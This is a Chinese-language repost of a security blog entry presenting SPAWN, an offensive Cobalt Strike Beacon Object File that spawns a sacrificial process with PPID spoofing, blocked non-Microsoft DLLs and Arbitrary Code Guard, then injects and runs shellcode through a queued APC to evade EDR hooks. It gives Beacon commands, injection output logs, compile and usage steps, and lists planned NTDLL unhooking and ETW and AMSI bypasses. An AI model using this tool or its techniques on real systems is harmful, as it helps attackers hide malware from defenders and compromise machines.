Cobalt Strike BOF 产生一个牺牲进程,用 shellcode 注入它,并执行有效载荷。旨在通过使用任意代码保护 (ACG)、BlockDll 和 PPID 欺骗生成牺牲进程来逃避 EDR/UserLand 钩子。
功能
-
使用任意代码保护 (ACG) 生成牺牲进程,以防止 EDR 解决方案挂接到牺牲进程 DLL 中。
-
注入并执行shellcode。
来自 ACG Protected Process 的 Popin' Calc
beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin
[//SpiderLabs|@0xBoku|github.com/boku7) ] SPAWN (Bobby Cooke
[0x534 to process 6248(PID) ] Opened handle
[8404 | PPID: 6248 ] Spawned process: notepad.exe | PID:
[in remote process 8404 (PID) at: 0x00000177A72C0000 ] Allocated RE memory
[280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000 ] Wrote
[for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000 ] APC queued
-
CNA Agressor 脚本接口
help
spawn Spawn a process with a spoofed PPID and blockDll
help spawn
Synopsis: spawn /path/to/exe PPID
ps
8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NOboku
spawn cmd.exe 8264
[*] SPAWN (@0xBoku|github.com/boku7)
Opened handle 0x634 to process 8264(PID)
Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264
-
PPID欺骗
-
Cobalt Strike
blockdll
功能
使用 x64 MinGW 编译:
x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o
从 Cobalt Strike Beacon 控制台运行
-
编译后将 spawn.cna 脚本导入 Cobalt Strikes Script Manager
spawn /path/to/exe PPID /local/path/to/shellcode.bin
cmd.exe
进程与 PPID 一起生成为OneDrive.exe
-
我们看到了父子进程关系,并且我们生成的进程是用
Signatures restricted (Microsoft only)
-
这
Signatures restricted (Microsoft only)
使得未由 Microsoft 签名的 DLL 无法加载到我们生成的进程中
构建远程进程修补的不同方法
-
NTDLL.DLL 远程进程脱钩
-
ETW 远程进程修补/绕过
-
AMSI 远程进程修补/绕过
-
CLR 加载和 .Net 程序集注入
项目地址:
https://github.com/boku7/spawn
本文始发于微信公众号(Khan安全攻防实验室):SPAWN - Cobalt Strike BOF
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论